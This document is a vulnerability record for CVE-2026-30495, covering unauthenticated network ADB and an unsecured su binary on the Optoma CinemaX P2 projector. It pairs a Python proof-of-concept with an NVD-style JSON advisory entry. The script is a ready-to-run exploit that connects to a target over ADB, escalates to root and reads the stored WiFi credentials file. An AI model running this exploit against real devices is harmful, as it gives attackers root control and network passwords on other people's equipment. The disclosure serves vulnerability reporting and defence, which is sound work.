CVE-2026-30495

#!/usr/bin/env python3 import subprocess import sys # PoC for CVE-2026-30495: Optoma CinemaX P2 Unauthorized ADB Root # The device exposes ADB on port 5555 without auth and has an unsecured su binary. # Usage: python3 poc.py <TARGET_IP> target = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100" port = "5555" print(f"[*] Target: {target}:{port}") try: # Step 1: Connect to the ADB server on the device print("[*] Connecting to ADB daemon...") subprocess.run(["adb", "connect", f"{target}:{port}"], check=True) # Step 2: Verify standard shell access print("[*] Checking standard shell access...") result = subprocess.run(["adb", "shell", "whoami"], capture_output=True, text=True) print(f" Current user: {result.stdout.strip()}") # Step 3: Escalate privileges using the unsecured su binary print("[*] Escalating to root privileges...") # Reading WiFi credentials as proof of root access cmd = "cat /data/misc/wifi/wpa_supplicant.conf" print(f"[*] Running: {cmd}") subprocess.run(["adb", "shell", "su", "-c", cmd]) except FileNotFoundError: print("[!] Error: 'adb' command not found. Please ensure Android SDK platform-tools are installed.") except Exception as e: print(f"[!] An error occurred: {e}")

{"cve": {"id": "CVE-2026-30495", "sourceIdentifier": "[email protected]", "published": "2026-05-07T14:16:01.983", "lastModified": "2026-05-08T23:16:34.750", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Optoma CinemaX P2 projector (firmware TVOS-04.24.010.04.01, Android 8.0.0) exposes Android Debug Bridge (ADB) on TCP port 5555 over the network without requiring authentication. The device is configured with ro.adb.secure=0, which disables RSA key verification. Additionally, a functional su binary exists at /system/xbin/su that grants root privileges without authentication. An attacker on the same network can connect to the device via ADB, obtain a shell, and escalate to root privileges, gaining complete control of the device. This allows extraction of stored WiFi credentials, installation of persistent malware, and access to all device data."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "references": [{"url": "https://whitelabel.org/security/2026-02-01-smart-projector/", "source": "[email protected]"}]}}